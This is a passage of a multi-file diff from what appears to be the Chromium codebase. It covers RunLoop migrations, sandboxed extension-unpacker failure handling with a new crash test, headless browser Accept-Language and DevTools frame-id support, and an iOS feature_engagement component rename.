   void OnImageFamilyLoaded(const gfx::ImageFamily& image_family) {
     image_loaded_count_++;
     if (quit_in_image_loaded_)
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
     image_family_ = image_family;
   }
 
diff --git a/extensions/browser/sandboxed_unpacker.cc b/extensions/browser/sandboxed_unpacker.cc
index a88157396..f49e9292 100644
--- a/extensions/browser/sandboxed_unpacker.cc
+++ b/extensions/browser/sandboxed_unpacker.cc
@@ -377,13 +377,17 @@
 
   utility_process_mojo_client_.reset();
 
-  ReportFailure(
-      UTILITY_PROCESS_CRASHED_WHILE_TRYING_TO_INSTALL,
-      l10n_util::GetStringFUTF16(
-          IDS_EXTENSION_PACKAGE_INSTALL_ERROR,
-          ASCIIToUTF16("UTILITY_PROCESS_CRASHED_WHILE_TRYING_TO_INSTALL")) +
-          ASCIIToUTF16(". ") +
-          l10n_util::GetStringUTF16(IDS_EXTENSION_INSTALL_PROCESS_CRASHED));
+  unpacker_io_task_runner_->PostTask(
+      FROM_HERE,
+      base::Bind(
+          &SandboxedUnpacker::ReportFailure, this,
+          UTILITY_PROCESS_CRASHED_WHILE_TRYING_TO_INSTALL,
+          l10n_util::GetStringFUTF16(
+              IDS_EXTENSION_PACKAGE_INSTALL_ERROR,
+              ASCIIToUTF16("UTILITY_PROCESS_CRASHED_WHILE_TRYING_TO_INSTALL")) +
+              ASCIIToUTF16(". ") +
+              l10n_util::GetStringUTF16(
+                  IDS_EXTENSION_INSTALL_PROCESS_CRASHED)));
 }
 
 void SandboxedUnpacker::Unzip(const base::FilePath& crx_path) {
@@ -406,8 +410,11 @@
 
   if (!success) {
     utility_process_mojo_client_.reset();
-    ReportFailure(UNZIP_FAILED,
-                  l10n_util::GetStringUTF16(IDS_EXTENSION_PACKAGE_UNZIP_ERROR));
+    unpacker_io_task_runner_->PostTask(
+        FROM_HERE,
+        base::Bind(
+            &SandboxedUnpacker::ReportFailure, this, UNZIP_FAILED,
+            l10n_util::GetStringUTF16(IDS_EXTENSION_PACKAGE_UNZIP_ERROR)));
     return;
   }
 
@@ -663,6 +670,8 @@
 
 void SandboxedUnpacker::ReportFailure(FailureReason reason,
                                       const base::string16& error) {
+  DCHECK(unpacker_io_task_runner_->RunsTasksInCurrentSequence());
+
   UMA_HISTOGRAM_ENUMERATION("Extensions.SandboxUnpackFailureReason", reason,
                             NUM_FAILURE_REASONS);
   if (!crx_unpack_start_time_.is_null())
diff --git a/extensions/browser/sandboxed_unpacker_unittest.cc b/extensions/browser/sandboxed_unpacker_unittest.cc
index 8975af2..73299f19 100644
--- a/extensions/browser/sandboxed_unpacker_unittest.cc
+++ b/extensions/browser/sandboxed_unpacker_unittest.cc
@@ -15,6 +15,7 @@
 #include "base/threading/thread_task_runner_handle.h"
 #include "base/values.h"
 #include "components/crx_file/id_util.h"
+#include "content/public/browser/browser_thread.h"
 #include "content/public/test/test_browser_thread_bundle.h"
 #include "content/public/test/test_utils.h"
 #include "extensions/browser/extensions_test.h"
@@ -65,8 +66,11 @@
 class SandboxedUnpackerTest : public ExtensionsTest {
  public:
   SandboxedUnpackerTest()
-      : ExtensionsTest(base::MakeUnique<content::TestBrowserThreadBundle>(
-            content::TestBrowserThreadBundle::IO_MAINLOOP)) {}
+      : SandboxedUnpackerTest(content::TestBrowserThreadBundle::IO_MAINLOOP) {}
+
+  SandboxedUnpackerTest(content::TestBrowserThreadBundle::Options options)
+      : ExtensionsTest(
+            base::MakeUnique<content::TestBrowserThreadBundle>(options)) {}
 
   void SetUp() override {
     ExtensionsTest::SetUp();
@@ -125,6 +129,20 @@
     client_->WaitForUnpack();
   }
 
+  void SimulateUtilityProcessCrash() {
+    sandboxed_unpacker_->CreateTempDirectory();
+
+    content::BrowserThread::PostTask(
+        content::BrowserThread::IO, FROM_HERE,
+        base::Bind(&SandboxedUnpacker::StartUtilityProcessIfNeeded,
+                   sandboxed_unpacker_));
+
+    content::BrowserThread::PostTask(
+        content::BrowserThread::IO, FROM_HERE,
+        base::Bind(&SandboxedUnpacker::UtilityProcessCrashed,
+                   sandboxed_unpacker_));
+  }
+
   base::FilePath GetInstallPath() {
     return client_->temp_dir().AppendASCII(kTempExtensionName);
   }
@@ -191,4 +209,25 @@
   EXPECT_EQ(base::string16(), GetInstallError());
 }
 
+class SandboxedUnpackerTestWithRealIOThread : public SandboxedUnpackerTest {
+ public:
+  SandboxedUnpackerTestWithRealIOThread()
+      : SandboxedUnpackerTest(
+            content::TestBrowserThreadBundle::REAL_IO_THREAD) {}
+
+  void TearDown() override {
+    // The utility process task could still be running.  Ensure it is fully
+    // finished before ending the test.
+    content::RunAllPendingInMessageLoop(content::BrowserThread::IO);
+    SandboxedUnpackerTest::TearDown();
+  }
+};
+
+TEST_F(SandboxedUnpackerTestWithRealIOThread, UtilityProcessCrash) {
+  SimulateUtilityProcessCrash();
+  client_->WaitForUnpack();
+  // Check that there is an error message.
+  EXPECT_NE(base::string16(), GetInstallError());
+}
+
 }  // namespace extensions
diff --git a/extensions/browser/uninstall_reason.h b/extensions/browser/uninstall_reason.h
index 8484aa9..fa2486a 100644
--- a/extensions/browser/uninstall_reason.h
+++ b/extensions/browser/uninstall_reason.h
@@ -26,6 +26,7 @@
   UNINSTALL_REASON_INTERNAL_MANAGEMENT,  // Internal extensions (see usages)
   UNINSTALL_REASON_REINSTALL,
   UNINSTALL_REASON_COMPONENT_REMOVED,
+  UNINSTALL_REASON_MIGRATED,  // Migrated to component extensions
 
   UNINSTALL_REASON_MAX,  // Should always be the last value
 };
diff --git a/extensions/common/api/_api_features.json b/extensions/common/api/_api_features.json
index fd9fff23..c0be46c 100644
--- a/extensions/common/api/_api_features.json
+++ b/extensions/common/api/_api_features.json
@@ -86,8 +86,7 @@
     "matches": [
       "chrome://bluetooth-pairing/*",
       "chrome://md-settings/*",
-      "chrome://settings/*",
-      "chrome://settings-frame/*"
+      "chrome://settings/*"
     ]
   }],
   "bluetoothLowEnergy": {
@@ -104,8 +103,7 @@
     "matches": [
       "chrome://bluetooth-pairing/*",
       "chrome://md-settings/*",
-      "chrome://settings/*",
-      "chrome://settings-frame/*"
+      "chrome://settings/*"
     ]
   }],
   "bluetoothSocket": {
@@ -228,8 +226,7 @@
       "chrome://extensions-frame/*",
       "chrome://chrome/extensions/*",
       "chrome://md-settings/*",
-      "chrome://settings/*",
-      "chrome://settings-frame/*"
+      "chrome://settings/*"
     ]
   }],
   "management.getPermissionWarningsByManifest": {
@@ -261,8 +258,7 @@
     "matches": [
       "chrome://bookmarks/*",
       "chrome://md-settings/*",
-      "chrome://settings/*",
-      "chrome://settings-frame/*"
+      "chrome://settings/*"
     ]
   }],
   "metricsPrivate.getIsCrashReportingEnabled": {
@@ -337,8 +333,7 @@
       "chrome://md-settings/*",
       "chrome://network/*",
       "chrome://oobe/*",
-      "chrome://settings/*",
-      "chrome://settings-frame/*"
+      "chrome://settings/*"
     ]
   }],
   "power": {
@@ -472,8 +467,7 @@
     "contexts": ["webui"],
     "matches": [
       "chrome://md-settings/*",
-      "chrome://settings/*",
-      "chrome://settings-frame/*"
+      "chrome://settings/*"
     ]
   }],
   "system.memory": {
diff --git a/extensions/test/extension_test_message_listener.cc b/extensions/test/extension_test_message_listener.cc
index 2c08d88..f46eae4 100644
--- a/extensions/test/extension_test_message_listener.cc
+++ b/extensions/test/extension_test_message_listener.cc
@@ -5,6 +5,7 @@
 #include "extensions/test/extension_test_message_listener.h"
 
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/strings/string_number_conversions.h"
 #include "base/strings/string_util.h"
 #include "content/public/browser/notification_service.h"
@@ -116,7 +117,7 @@
 
     if (waiting_) {
       waiting_ = false;
-      base::MessageLoopForUI::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
     }
   }
 }
diff --git a/gin/modules/timer_unittest.cc b/gin/modules/timer_unittest.cc
index 665ea4e..0a1a2b9 100644
--- a/gin/modules/timer_unittest.cc
+++ b/gin/modules/timer_unittest.cc
@@ -6,7 +6,6 @@
 
 #include <memory>
 
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/single_thread_task_runner.h"
 #include "gin/handle.h"
@@ -32,9 +31,7 @@
   int count() const { return count_; }
   void set_count(int count) { count_ = count; }
 
-  void Quit() {
-    base::MessageLoop::current()->QuitNow();
-  }
+  void Quit() { base::RunLoop::QuitCurrentDeprecated(); }
 
  private:
   Result() : count_(0) {
diff --git a/gpu/ipc/service/gpu_channel_manager.cc b/gpu/ipc/service/gpu_channel_manager.cc
index d49971f..b1eb8dca 100644
--- a/gpu/ipc/service/gpu_channel_manager.cc
+++ b/gpu/ipc/service/gpu_channel_manager.cc
@@ -11,8 +11,8 @@
 #include "base/command_line.h"
 #include "base/location.h"
 #include "base/memory/ptr_util.h"
-#include "base/message_loop/message_loop.h"
 #include "base/metrics/histogram_macros.h"
+#include "base/run_loop.h"
 #include "base/single_thread_task_runner.h"
 #include "base/sys_info.h"
 #include "base/threading/thread_task_runner_handle.h"
@@ -189,7 +189,7 @@
                << " from problems.";
     // Signal the message loop to quit to shut down other threads
     // gracefully.
-    base::MessageLoop::current()->QuitNow();
+    base::RunLoop::QuitCurrentDeprecated();
     exiting_for_lost_context_ = true;
   }
 }
diff --git a/headless/lib/browser/headless_browser_context_impl.cc b/headless/lib/browser/headless_browser_context_impl.cc
index 1954451..d21b8fc4 100644
--- a/headless/lib/browser/headless_browser_context_impl.cc
+++ b/headless/lib/browser/headless_browser_context_impl.cc
@@ -168,6 +168,19 @@
   return find_it->second;
 }
 
+int HeadlessBrowserContextImpl::GetFrameTreeNodeIdForDevToolsFrameId(
+    const std::string& devtools_id) const {
+  base::AutoLock lock(frame_tree_node_map_lock_);
+  for (const auto& pair : frame_tree_node_map_) {
+    std::string frame_devtools_id = content::DevToolsAgentHost::
+        GetUntrustedDevToolsFrameIdForFrameTreeNodeId(pair.first.first,
+                                                      pair.second);
+    if (frame_devtools_id == devtools_id)
+      return pair.second;
+  }
+  return -1;
+}
+
 void HeadlessBrowserContextImpl::Close() {
   DCHECK_CURRENTLY_ON(content::BrowserThread::UI);
   browser_->DestroyBrowserContext(this);
@@ -381,6 +394,13 @@
 }
 
 HeadlessBrowserContext::Builder&
+HeadlessBrowserContext::Builder::SetAcceptLanguage(
+    const std::string& accept_language) {
+  options_->accept_language_ = accept_language;
+  return *this;
+}
+
+HeadlessBrowserContext::Builder&
 HeadlessBrowserContext::Builder::SetProxyConfig(
     std::unique_ptr<net::ProxyConfig> proxy_config) {
   options_->proxy_config_ = std::move(proxy_config);
diff --git a/headless/lib/browser/headless_browser_context_impl.h b/headless/lib/browser/headless_browser_context_impl.h
index ca4bac3..98b6ccd 100644
--- a/headless/lib/browser/headless_browser_context_impl.h
+++ b/headless/lib/browser/headless_browser_context_impl.h
@@ -95,6 +95,11 @@
   // if it can't be found. Can be called on any thread.
   int GetFrameTreeNodeId(int render_process_id, int render_frame_id) const;
 
+  // Returns the FrameTreeNode id corresponding to |devtools_id| or -1 if it
+  // can't be found. Must be called on the IO thread.
+  int GetFrameTreeNodeIdForDevToolsFrameId(
+      const std::string& devtools_id) const;
+
   void NotifyChildContentsCreated(HeadlessWebContentsImpl* parent,
                                   HeadlessWebContentsImpl* child);
 
diff --git a/headless/lib/browser/headless_browser_context_options.cc b/headless/lib/browser/headless_browser_context_options.cc
index 5ca1ab3..3d52d227 100644
--- a/headless/lib/browser/headless_browser_context_options.cc
+++ b/headless/lib/browser/headless_browser_context_options.cc
@@ -41,6 +41,11 @@
                                browser_options_->product_name_and_version);
 }
 
+const std::string& HeadlessBrowserContextOptions::accept_language() const {
+  return ReturnOverriddenValue(accept_language_,
+                               browser_options_->accept_language);
+}
+
 const std::string& HeadlessBrowserContextOptions::user_agent() const {
   return browser_options_->user_agent;
 }
diff --git a/headless/lib/browser/headless_browser_context_options.h b/headless/lib/browser/headless_browser_context_options.h
index 1d3fb84..c7c613b 100644
--- a/headless/lib/browser/headless_browser_context_options.h
+++ b/headless/lib/browser/headless_browser_context_options.h
@@ -27,6 +27,7 @@
       HeadlessBrowserContextOptions&& options);
 
   const std::string& product_name_and_version() const;
+  const std::string& accept_language() const;
   const std::string& user_agent() const;
 
   // See HeadlessBrowser::Options::proxy_config.
@@ -62,6 +63,7 @@
   HeadlessBrowser::Options* browser_options_;
 
   base::Optional<std::string> product_name_and_version_;
+  base::Optional<std::string> accept_language_;
   std::unique_ptr<net::ProxyConfig> proxy_config_;
   base::Optional<std::string> host_resolver_rules_;
   base::Optional<gfx::Size> window_size_;
diff --git a/headless/lib/browser/headless_url_request_context_getter.cc b/headless/lib/browser/headless_url_request_context_getter.cc
index 3b1d2db..49cb38e 100644
--- a/headless/lib/browser/headless_url_request_context_getter.cc
+++ b/headless/lib/browser/headless_url_request_context_getter.cc
@@ -14,6 +14,7 @@
 #include "headless/lib/browser/headless_browser_context_options.h"
 #include "headless/lib/browser/headless_network_delegate.h"
 #include "net/dns/mapped_host_resolver.h"
+#include "net/http/http_util.h"
 #include "net/proxy/proxy_service.h"
 #include "net/url_request/url_request_context.h"
 #include "net/url_request/url_request_context_builder.h"
@@ -29,6 +30,7 @@
     net::NetLog* net_log,
     HeadlessBrowserContextImpl* headless_browser_context)
     : io_task_runner_(std::move(io_task_runner)),
+      accept_language_(options->accept_language()),
       user_agent_(options->user_agent()),
       host_resolver_rules_(options->host_resolver_rules()),
       proxy_config_(options->proxy_config()),
@@ -63,7 +65,8 @@
   DCHECK_CURRENTLY_ON(content::BrowserThread::IO);
   if (!url_request_context_) {
     net::URLRequestContextBuilder builder;
-    // TODO(skyostil): Make language settings configurable.
+    builder.set_accept_language(
+        net::HttpUtil::GenerateAcceptLanguageHeader(accept_language_));
     builder.set_user_agent(user_agent_);
     // TODO(skyostil): Make these configurable.
     builder.set_data_enabled(true);
diff --git a/headless/lib/browser/headless_url_request_context_getter.h b/headless/lib/browser/headless_url_request_context_getter.h
index 5ee7c7f..5afab88 100644
--- a/headless/lib/browser/headless_url_request_context_getter.h
+++ b/headless/lib/browser/headless_url_request_context_getter.h
@@ -57,6 +57,7 @@
   // The |options| object given to the constructor is not guaranteed to outlive
   // this class, so we make copies of the parts we need to access on the IO
   // thread.
+  std::string accept_language_;
   std::string user_agent_;
   std::string host_resolver_rules_;
   const net::ProxyConfig* proxy_config_;  // Not owned.
diff --git a/headless/lib/browser/headless_web_contents_impl.cc b/headless/lib/browser/headless_web_contents_impl.cc
index 07cd5ce..bf3ba54 100644
--- a/headless/lib/browser/headless_web_contents_impl.cc
+++ b/headless/lib/browser/headless_web_contents_impl.cc
@@ -297,6 +297,11 @@
                                                     frame_tree_node_id);
 }
 
+int HeadlessWebContentsImpl::GetFrameTreeNodeIdForDevToolsFrameId(
+    const std::string& devtools_id) const {
+  return browser_context_->GetFrameTreeNodeIdForDevToolsFrameId(devtools_id);
+}
+
 int HeadlessWebContentsImpl::GetMainFrameRenderProcessId() const {
   return web_contents()->GetMainFrame()->GetProcess()->GetID();
 }
diff --git a/headless/lib/browser/headless_web_contents_impl.h b/headless/lib/browser/headless_web_contents_impl.h
index 5a7c3b7..0b15f0f 100644
--- a/headless/lib/browser/headless_web_contents_impl.h
+++ b/headless/lib/browser/headless_web_contents_impl.h
@@ -64,6 +64,8 @@
   std::string GetUntrustedDevToolsFrameIdForFrameTreeNodeId(
       int process_id,
       int frame_tree_node_id) const override;
+  int GetFrameTreeNodeIdForDevToolsFrameId(
+      const std::string& devtools_id) const override;
   int GetMainFrameRenderProcessId() const override;
   int GetMainFrameTreeNodeId() const override;
 
diff --git a/headless/lib/frame_id_browsertest.cc b/headless/lib/frame_id_browsertest.cc
index 5a03b39..18b4016 100644
--- a/headless/lib/frame_id_browsertest.cc
+++ b/headless/lib/frame_id_browsertest.cc
@@ -256,6 +256,10 @@
       protocol_handler_url_to_frame_id_[pair.first] =
           web_contents_->GetUntrustedDevToolsFrameIdForFrameTreeNodeId(
               web_contents_->GetMainFrameRenderProcessId(), pair.second);
+
+      EXPECT_EQ(pair.second,
+                web_contents_->GetFrameTreeNodeIdForDevToolsFrameId(
+                    protocol_handler_url_to_frame_id_[pair.first]));
     }
 
     EXPECT_THAT(url_to_frame_id_, protocol_handler_url_to_frame_id_);
diff --git a/headless/public/headless_browser.cc b/headless/public/headless_browser.cc
index d70edaf6..497a8c77 100644
--- a/headless/public/headless_browser.cc
+++ b/headless/public/headless_browser.cc
@@ -84,6 +84,11 @@
   return *this;
 }
 
+Builder& Builder::SetAcceptLanguage(const std::string& accept_language) {
+  options_.accept_language = accept_language;
+  return *this;
+}
+
 Builder& Builder::EnableDevToolsServer(const net::IPEndPoint& endpoint) {
   options_.devtools_endpoint = endpoint;
   return *this;
diff --git a/headless/public/headless_browser.h b/headless/public/headless_browser.h
index 63f6c74..352a228 100644
--- a/headless/public/headless_browser.h
+++ b/headless/public/headless_browser.h
@@ -149,6 +149,7 @@
   // Default per-context options, can be specialized on per-context basis.
 
   std::string product_name_and_version;
+  std::string accept_language;
   std::string user_agent;
 
   // The ProxyConfig to use. The system proxy settings are used by default.
@@ -215,6 +216,7 @@
 
   Builder& SetProductNameAndVersion(
       const std::string& product_name_and_version);
+  Builder& SetAcceptLanguage(const std::string& accept_language);
   Builder& SetUserAgent(const std::string& user_agent);
   Builder& SetProxyConfig(std::unique_ptr<net::ProxyConfig> proxy_config);
   Builder& SetHostResolverRules(const std::string& host_resolver_rules);
diff --git a/headless/public/headless_browser_context.h b/headless/public/headless_browser_context.h
index 0b2a002..a2cc3b1a 100644
--- a/headless/public/headless_browser_context.h
+++ b/headless/public/headless_browser_context.h
@@ -120,6 +120,7 @@
   // settings. See HeadlessBrowser::Options for their meaning.
   Builder& SetProductNameAndVersion(
       const std::string& product_name_and_version);
+  Builder& SetAcceptLanguage(const std::string& accept_language);
   Builder& SetUserAgent(const std::string& user_agent);
   Builder& SetProxyConfig(std::unique_ptr<net::ProxyConfig> proxy_config);
   Builder& SetHostResolverRules(const std::string& host_resolver_rules);
diff --git a/headless/public/headless_web_contents.h b/headless/public/headless_web_contents.h
index b08c1d8f..96259c3a 100644
--- a/headless/public/headless_web_contents.h
+++ b/headless/public/headless_web_contents.h
@@ -90,6 +90,11 @@
       int process_id,
       int frame_tree_node_id) const = 0;
 
+  // Returns the FrameTreeNode id corresponding to |devtools_id| or -1 if it
+  // can't be found. Must be called on the IO thread.
+  virtual int GetFrameTreeNodeIdForDevToolsFrameId(
+      const std::string& devtools_id) const = 0;
+
   virtual int GetMainFrameRenderProcessId() const = 0;
 
   virtual int GetMainFrameTreeNodeId() const = 0;
diff --git a/infra/config/cq.cfg b/infra/config/cq.cfg
index e914c07..c243a218 100644
--- a/infra/config/cq.cfg
+++ b/infra/config/cq.cfg
@@ -70,12 +70,19 @@
       # https://crbug.com/739556; make this non-experimental ASAP.
       builders {
         name: "ios-device"
-        experiment_percentage: 100
+        experiment_percentage: 10
       }
       # https://crbug.com/739556
-      # builders { name: "ios-device-xcode-clang" }
+      builders {
+        name: "ios-device-xcode-clang"
+        experiment_percentage: 10
+      }
       builders { name: "ios-simulator" }
-      # builders { name: "ios-simulator-xcode-clang" }
+      # https://crbug.com/739556
+      builders {
+        name: "ios-simulator-xcode-clang"
+        experiment_percentage: 10
+      }
       builders { name: "mac_chromium_compile_dbg_ng" }
       builders { name: "mac_chromium_rel_ng" }
     }
diff --git a/ios/chrome/app/BUILD.gn b/ios/chrome/app/BUILD.gn
index 4d493793..c51404ca 100644
--- a/ios/chrome/app/BUILD.gn
+++ b/ios/chrome/app/BUILD.gn
@@ -145,7 +145,7 @@
     "//components/crash/core/common",
     "//components/favicon/core",
     "//components/favicon_base",
-    "//components/feature_engagement_tracker",
+    "//components/feature_engagement",
     "//components/handoff",
     "//components/history/core/browser",
     "//components/infobars/core",
@@ -178,7 +178,7 @@
     "//ios/chrome/browser/crash_report",
     "//ios/chrome/browser/crash_report:crash_report_internal",
     "//ios/chrome/browser/favicon",
-    "//ios/chrome/browser/feature_engagement_tracker",
+    "//ios/chrome/browser/feature_engagement",
     "//ios/chrome/browser/first_run",
     "//ios/chrome/browser/geolocation",
     "//ios/chrome/browser/geolocation:geolocation_internal",
diff --git a/ios/chrome/app/DEPS b/ios/chrome/app/DEPS
index f62aa619..522a5e99 100644
--- a/ios/chrome/app/DEPS
+++ b/ios/chrome/app/DEPS
@@ -9,7 +9,7 @@
   "+components/crash/core/common",
   "+components/favicon/core",
   "+components/favicon_base",
-  "+components/feature_engagement_tracker",
+  "+components/feature_engagement",
   "+components/handoff",
   "+components/history/core/browser",
   "+components/metrics",
@@ -22,7 +22,7 @@
   "+components/url_formatter",
   "+components/web_resource",
   "+ios/chrome/browser",
-  "+ios/chrome/browser/feature_engagement_tracker",
+  "+ios/chrome/browser/feature_engagement",
   "+ios/net",
   "+ios/public/provider/chrome",
   "+ios/web/public",
diff --git a/ios/chrome/app/application_delegate/BUILD.gn b/ios/chrome/app/application_delegate/BUILD.gn
index b5ef151..d984b504 100644
--- a/ios/chrome/app/application_delegate/BUILD.gn
+++ b/ios/chrome/app/application_delegate/BUILD.gn
@@ -97,7 +97,7 @@
     ":application_delegate",
     "//base",
     "//components/crash/core/common",
-    "//components/feature_engagement_tracker",
+    "//components/feature_engagement",
     "//components/handoff",
     "//components/metrics",
     "//components/prefs",
@@ -109,7 +109,7 @@
     "//ios/chrome/browser/browser_state",
     "//ios/chrome/browser/crash_report",
     "//ios/chrome/browser/device_sharing",
-    "//ios/chrome/browser/feature_engagement_tracker",
+    "//ios/chrome/browser/feature_engagement",
     "//ios/chrome/browser/geolocation",
     "//ios/chrome/browser/metrics",
     "//ios/chrome/browser/metrics:metrics_internal",
diff --git a/ios/chrome/app/application_delegate/app_state.mm b/ios/chrome/app/application_delegate/app_state.mm
index e4b81a6..17c365a6 100644
--- a/ios/chrome/app/application_delegate/app_state.mm
+++ b/ios/chrome/app/application_delegate/app_state.mm
@@ -10,8 +10,8 @@
 #include "base/critical_closure.h"
 #import "base/mac/bind_objc_block.h"
 #include "base/metrics/histogram_macros.h"
-#include "components/feature_engagement_tracker/public/event_constants.h"
-#include "components/feature_engagement_tracker/public/feature_engagement_tracker.h"
+#include "components/feature_engagement/public/event_constants.h"
+#include "components/feature_engagement/public/tracker.h"
 #include "components/metrics/metrics_service.h"
 #import "ios/chrome/app/application_delegate/app_navigation.h"
 #import "ios/chrome/app/application_delegate/browser_launcher.h"
@@ -33,7 +33,7 @@
 #include "ios/chrome/browser/crash_report/breakpad_helper.h"
 #import "ios/chrome/browser/crash_report/crash_report_background_uploader.h"
 #import "ios/chrome/browser/device_sharing/device_sharing_manager.h"
-#include "ios/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_factory.h"
+#include "ios/chrome/browser/feature_engagement/tracker_factory.h"
 #import "ios/chrome/browser/geolocation/omnibox_geolocation_config.h"
 #import "ios/chrome/browser/metrics/previous_session_info.h"
 #import "ios/chrome/browser/ui/authentication/signed_in_accounts_view_controller.h"
@@ -333,10 +333,10 @@
   }
 
   if (currentBrowserState) {
-    // Send the "Chrome Opened" event to the FeatureEngagementTracker on a warm
-    // start.
-    FeatureEngagementTrackerFactory::GetForBrowserState(currentBrowserState)
-        ->NotifyEvent(feature_engagement_tracker::events::kChromeOpened);
+    // Send the "Chrome Opened" event to the feature_engagement::Tracker on a
+    // warm start.
+    feature_engagement::TrackerFactory::GetForBrowserState(currentBrowserState)
+        ->NotifyEvent(feature_engagement::events::kChromeOpened);
   }
 }
 
diff --git a/ios/chrome/app/main_controller.mm b/ios/chrome/app/main_controller.mm
index d70099e..bcb6041 100644
--- a/ios/chrome/app/main_controller.mm
+++ b/ios/chrome/app/main_controller.mm
@@ -25,8 +25,8 @@
 #include "base/time/time.h"
 #include "components/component_updater/component_updater_service.h"
 #include "components/content_settings/core/browser/host_content_settings_map.h"
-#include "components/feature_engagement_tracker/public/event_constants.h"
-#include "components/feature_engagement_tracker/public/feature_engagement_tracker.h"
+#include "components/feature_engagement/public/event_constants.h"
+#include "components/feature_engagement/public/tracker.h"
 #include "components/metrics/metrics_pref_names.h"
 #include "components/metrics/metrics_service.h"
 #include "components/prefs/pref_change_registrar.h"
@@ -73,7 +73,7 @@
 #import "ios/chrome/browser/crash_report/crash_report_background_uploader.h"
 #import "ios/chrome/browser/crash_report/crash_restore_helper.h"
 #include "ios/chrome/browser/experimental_flags.h"
-#include "ios/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_factory.h"
+#include "ios/chrome/browser/feature_engagement/tracker_factory.h"
 #include "ios/chrome/browser/file_metadata_util.h"
 #import "ios/chrome/browser/first_run/first_run.h"
 #include "ios/chrome/browser/geolocation/omnibox_geolocation_controller.h"
@@ -683,9 +683,10 @@
                                        tabModelObserver:self
                              applicationCommandEndpoint:self];
 
-  // Send "Chrome Opened" event to the FeatureEngagementTracker on cold start.
-  FeatureEngagementTrackerFactory::GetForBrowserState(chromeBrowserState)
-      ->NotifyEvent(feature_engagement_tracker::events::kChromeOpened);
+  // Send "Chrome Opened" event to the feature_engagement::Tracker on cold
+  // start.
+  feature_engagement::TrackerFactory::GetForBrowserState(chromeBrowserState)
+      ->NotifyEvent(feature_engagement::events::kChromeOpened);
 
   // Ensure the main tab model is created.
   ignore_result([_browserViewWrangler mainTabModel]);
@@ -1831,7 +1832,7 @@
     [self.currentBVC startVoiceSearch];
   } else if (self.startQRScannerAfterTabSwitcherDismissal) {
     self.startQRScannerAfterTabSwitcherDismissal = NO;
-    [self.currentBVC showQRScanner];
+    [self.currentBVC.dispatcher showQRScanner];
   } else if (self.startFocusOmniboxAfterTabSwitcherDismissal) {
     self.startFocusOmniboxAfterTabSwitcherDismissal = NO;
     [self.currentBVC focusOmnibox];
@@ -2194,7 +2195,7 @@
   }
   if ([_startupParameters launchQRScanner]) {
     tabOpenedCompletion = ^{
-      [targetBVC showQRScanner];
+      [targetBVC.dispatcher showQRScanner];
     };
   }
   if ([_startupParameters launchFocusOmnibox]) {
diff --git a/ios/chrome/browser/BUILD.gn b/ios/chrome/browser/BUILD.gn
index 9b23e67..13a9ba4 100644
--- a/ios/chrome/browser/BUILD.gn
+++ b/ios/chrome/browser/BUILD.gn
@@ -84,7 +84,7 @@
     "//components/autofill/core/browser",
     "//components/autofill/core/common",
     "//components/dom_distiller/core",
-    "//components/feature_engagement_tracker",
+    "//components/feature_engagement",
     "//components/flags_ui",
     "//components/flags_ui:switches",
     "//components/handoff",
diff --git a/ios/chrome/browser/DEPS b/ios/chrome/browser/DEPS
index 16a43aa..41f069a 100644
--- a/ios/chrome/browser/DEPS
+++ b/ios/chrome/browser/DEPS
@@ -20,7 +20,7 @@
   "+components/favicon/core",
   "+components/favicon/ios",
   "+components/favicon_base",
-  "+components/feature_engagement_tracker",
+  "+components/feature_engagement",
   "+components/flags_ui",
   "+components/gcm_driver",
   "+components/google/core/browser",
diff --git a/ios/chrome/browser/about_flags.mm b/ios/chrome/browser/about_flags.mm
index 4caeec9..cb2cc2e 100644
--- a/ios/chrome/browser/about_flags.mm
+++ b/ios/chrome/browser/about_flags.mm
@@ -21,8 +21,8 @@
 #include "base/sys_info.h"
 #include "base/task_scheduler/switches.h"
 #include "components/dom_distiller/core/dom_distiller_switches.h"
-#include "components/feature_engagement_tracker/public/feature_constants.h"
-#include "components/feature_engagement_tracker/public/feature_list.h"
+#include "components/feature_engagement/public/feature_constants.h"
+#include "components/feature_engagement/public/feature_list.h"
 #include "components/flags_ui/feature_entry.h"
 #include "components/flags_ui/feature_entry_macros.h"
 #include "components/flags_ui/flags_storage.h"
@@ -115,8 +115,8 @@
      flag_descriptions::kInProductHelpDemoModeName,
      flag_descriptions::kInProductHelpDemoModeDescription, flags_ui::kOsIos,
      FEATURE_WITH_PARAMS_VALUE_TYPE(
-         feature_engagement_tracker::kIPHDemoMode,
-         feature_engagement_tracker::kIPHDemoModeChoiceVariations,
+         feature_engagement::kIPHDemoMode,
+         feature_engagement::kIPHDemoModeChoiceVariations,
          "IPH_DemoMode")}};
 
 // Add all switches from experimental flags to |command_line|.
diff --git a/ios/chrome/browser/browser_state/BUILD.gn b/ios/chrome/browser/browser_state/BUILD.gn
index 109d33e..677e58d 100644
--- a/ios/chrome/browser/browser_state/BUILD.gn
+++ b/ios/chrome/browser/browser_state/BUILD.gn
@@ -85,7 +85,7 @@
     "//ios/chrome/browser/desktop_promotion",
     "//ios/chrome/browser/dom_distiller",
     "//ios/chrome/browser/favicon",
-    "//ios/chrome/browser/feature_engagement_tracker",
+    "//ios/chrome/browser/feature_engagement",
     "//ios/chrome/browser/google",
     "//ios/chrome/browser/google:google_logo",
     "//ios/chrome/browser/history",
diff --git a/ios/chrome/browser/browser_state/browser_state_keyed_service_factories.mm b/ios/chrome/browser/browser_state/browser_state_keyed_service_factories.mm
index 68412f6..4f472d4 100644
--- a/ios/chrome/browser/browser_state/browser_state_keyed_service_factories.mm
+++ b/ios/chrome/browser/browser_state/browser_state_keyed_service_factories.mm
@@ -17,7 +17,7 @@
 #include "ios/chrome/browser/favicon/ios_chrome_favicon_loader_factory.h"
 #include "ios/chrome/browser/favicon/ios_chrome_large_icon_cache_factory.h"
 #include "ios/chrome/browser/favicon/ios_chrome_large_icon_service_factory.h"
-#include "ios/chrome/browser/feature_engagement_tracker/feature_engagement_tracker_factory.h"
+#include "ios/chrome/browser/feature_engagement/tracker_factory.h"
 #include "ios/chrome/browser/google/google_logo_service_factory.h"
 #include "ios/chrome/browser/google/google_url_tracker_factory.h"
 #include "ios/chrome/browser/history/history_service_factory.h"
@@ -92,6 +92,7 @@
   AuthenticationServiceFactory::GetInstance();
